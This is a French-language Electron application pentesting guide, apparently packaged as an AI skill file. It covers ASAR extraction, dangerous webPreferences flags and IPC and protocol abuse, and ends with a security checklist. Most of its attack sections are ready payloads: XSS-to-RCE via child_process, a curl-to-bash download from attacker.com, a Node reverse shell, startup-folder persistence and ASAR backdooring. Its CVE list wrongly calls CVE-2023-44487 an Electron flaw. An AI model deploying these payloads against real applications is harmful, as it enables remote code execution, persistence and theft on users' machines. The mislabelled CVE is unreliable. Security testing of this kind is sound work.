electron-app-pentesting

name	electron-app-pentesting
description	Guide complet de pentest des applications Electron — nodeIntegration, contextIsolation, preload scripts, IPC abuse, sandbox escape, asar unpacking, et Chromium flags
category	cybersecurite

Electron App Pentesting — Guide Complet

---

Architecture Electron

┌──────────────────────────────────────┐
│           Main Process (Node.js)      │
│  - Gère la fenêtre, le système       │
│  - Accès complet au système           │
│  - IPC handler, menus, notifications  │
├──────────────────────────────────────┤
│         Renderer Process (Chromium)   │
│  - HTML/CSS/JS de l'application      │
│  - Isolé par défaut                   │
│  - Accès limité au système            │
├──────────────────────────────────────┤
│         Preload Script (Bridge)      │
│  - S'exécute avant le renderer       │
│  - Peut exposer des API limitées     │
│  - contextBridge pour la sécurité    │
└──────────────────────────────────────┘

---

Reconnaissance

Vérifier les fichiers de l'application

# Structure typique d'une app Electron packagée
# .app (macOS), .exe (Windows), AppImage (Linux)

# 1. Extraire le contenu de l'ASAR
npx asar extract app.asar app-extracted/
# ou
npm install -g @electron/asar
asar extract app.asar ./extracted

# 2. Analyser la structure
ls -la extracted/
cat extracted/package.json

# 3. Vérifier la configuration
cat extracted/main.js | grep -E 'nodeIntegration|contextIsolation|preload|sandbox'
cat extracted/preload.js

Flags de sécurité critiques

// Dans main.js ou package.json
const win = new BrowserWindow({
  width: 800,
  height: 600,
  webPreferences: {
    nodeIntegration: false,      // ← CRITIQUE: true = RCE
    contextIsolation: true,     // ← CRITIQUE: false = RCE
    preload: path.join(__dirname, 'preload.js'),  // ← Bridge
    sandbox: true,              // ← Recommandé
    enableRemoteModule: false,  // ← Obsolète, mais présent
    worldSafeExecuteJavaScript: true,
    nodeIntegrationInSubFrames: false,
    nodeIntegrationInWorker: false,
  }
});

---

Attaques par flag

1. nodeIntegration: true (RCE)

// Si le renderer a nodeIntegration=true
// Toute XSS = RCE systématique

// Dans la console du renderer (ou via XSS):
require('child_process').execSync('calc.exe')
require('child_process').execSync('id')

process.mainModule.require('child_process').execSync('whoami')

// Via <script> injecté
<img src=x onerror="require('child_process').execSync('id')">

2. contextIsolation: false (RCE)

// Même avec nodeIntegration=false, si contextIsolation=false
// On peut polluer le contexte partagé

// Dans le renderer:
window.__proto__.require = (module) => {
  return process.mainModule.require(module);
};

// Ou utiliser les prototypes:
Object.defineProperty(window, 'require', {
  get: () => process.mainModule.require
});

3. Preload Script Vulnérable

// preload.js — expose des API via contextBridge
const { contextBridge, ipcRenderer } = require('electron')

contextBridge.exposeInMainWorld('api', {
  execCommand: (cmd) => ipcRenderer.invoke('exec', cmd),
  readFile: (path) => ipcRenderer.invoke('read', path),
  getConfig: () => ipcRenderer.invoke('config'),
})

// main.js — handler IPC
ipcMain.handle('exec', (event, cmd) => {
  return execSync(cmd).toString()  // ← Pas de validation !
})

4. IPC Channel Hijacking

// Si le preload expose des canaux IPC
// L'attaquant peut les utiliser via XSS

// XSS dans le renderer:
window.api.execCommand('calc.exe')
window.api.readFile('/etc/passwd')

// Énumérer les canaux IPC disponibles:
// Dans le renderer:
const ipc = require('electron').ipcRenderer  // Si nodeIntegration
// Ou via preload exposé
Object.keys(window.api)

---

Exploitation

5. XSS → RCE (nodeIntegration=true)

// Page chargée par l'app Electron
// Si nodeIntegration est true

// 1. XSS classique
<img src=x onerror="
  const { execSync } = require('child_process');
  execSync('curl http://attacker.com/shell.sh | bash');
">

// 2. Reverse shell
<img src=x onerror="
  const net = require('net');
  const cp = require('child_process');
  const sh = cp.spawn('/bin/sh', []);
  const client = net.connect(4444, 'attacker.com', () => {
    client.pipe(sh.stdin);
    sh.stdout.pipe(client);
  });
">

6. IPC Abuse (contextIsolation=true mais preload vulnérable)

// Même avec bonne isolation, si le preload expose trop

// Dans l'app (via XSS):
window.api.execCommand('id')
window.api.readFile('C:\\Users\\victim\\passwords.txt')
window.api.writeFile('C:\\Users\\victim\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\evil.bat', '@echo off\npowershell ...')

7. Protocol Handler Hijacking

// Si l'app enregistre un protocole custom (myapp://...)
// Attaque: faire cliquer sur un lien myapp://malicious

// main.js
app.setAsDefaultProtocolClient('myapp')

// Attaque depuis un navigateur:
<a href="myapp://exec?cmd=calc.exe">Clique ici</a>

// Ou via window.location:
window.location = 'myapp://exec?cmd=calc.exe'

8. File Protocol Abuse

// Si l'app charge des fichiers locaux
// L'attaquant peut faire du path traversal

// Dans le renderer:
location.href = 'file:///etc/passwd'
location.href = 'file:///C:/Windows/System32/drivers/etc/hosts'

// Via XSS:
<img src="file:///etc/shadow">

---

Attaques avancées

9. ASAR File Modification

# Patcher l'application installée
asar extract app.asar ./patch
# Modifier les fichiers
echo "require('child_process').execSync('id')" >> patch/main.js
# Repackager
asar pack patch app.asar
# → L'application modifiée s'exécute avec notre code

10. DevTools Exploitation

// Si les DevTools sont activables (--devtools)
// --inspect ou --inspect-brk

// Remote debugging
chrome://inspect
// ou
curl http://localhost:9222/json
curl http://localhost:9222/json/activate/[ID]

// Si on peut ouvrir les DevTools:
require('child_process').execSync('id')

11. Shell.openExternal Abuse

// Si l'app utilise shell.openExternal sans validation
const { shell } = require('electron')
shell.openExternal(url)  // Ouvre URL dans le navigateur

// Attaque: ouvrir un site malveillant
shell.openExternal('https://phishing.com')

// Ou protocole dangereux:
shell.openExternal('file:///C:/Windows/System32/cmd.exe')

12. WebView / BrowserView

// Si l'app utilise <webview> (obsolète mais présent)
// Les webview ont parfois des privilèges différents

<webview src="https://attacker.com" nodeintegration="true">  <!-- Vulnérable -->
<webview src="https://attacker.com" preload="./evil.js">      <!-- Vulnérable -->

---

Outils

# electra — Electron security analyzer
npm install -g electra
electra analyze ./app.asar

# electron-fuses — vérifier les fuse flags
npm install -g @electron/fuses

# asar — extraction/repackaging
npm install -g @electron/asar

# Détection des vulnérabilités connues
npm audit
# Chercher: CVE-2022-36077, CVE-2023-44487 (Critical Electron vulns)

---

Checklist

RECONNAISSANCE
☐ Récupérer et extraire l'ASAR
☐ Analyser package.json
☐ Vérifier les flags webPreferences

FLAGS CRITIQUES
☐ nodeIntegration: false ?
☐ contextIsolation: true ?
☐ sandbox: true ?
☐ enableRemoteModule: false ?
☐ nodeIntegrationInSubFrames: false ?
☐ worldSafeExecuteJavaScript: true ?

PRELOAD SCRIPT
☐ Quelles API sont exposées ?
☐ contextBridge utilisé ?
☐ Validation des inputs ?
☐ IPC channels trop permissifs ?

PROTOCOLS
☐ Protocoles custom enregistrés ?
☐ shell.openExternal validé ?
☐ file:// protocol restreint ?
☐ Navigation externe contrôlée ?

AUTRES
☐ DevTools désactivés en production ?
☐ ASAR signé ? (anti-tamper)
☐ Auto-update sécurisé ?
☐ CSP configuré ?

Ressources

• HackTricks : https://book.hacktricks.wiki/en/generic-hacking/electron-hacking.html
• Electron Security Docs : https://www.electronjs.org/docs/latest/tutorial/security
• electra : https://github.com/0x6b/electra
• Electron Security Checklist : https://github.com/doyensec/electronegativity
• CVE Electron List : https://www.electronjs.org/docs/latest/tutorial/security#checklist-security-recommendations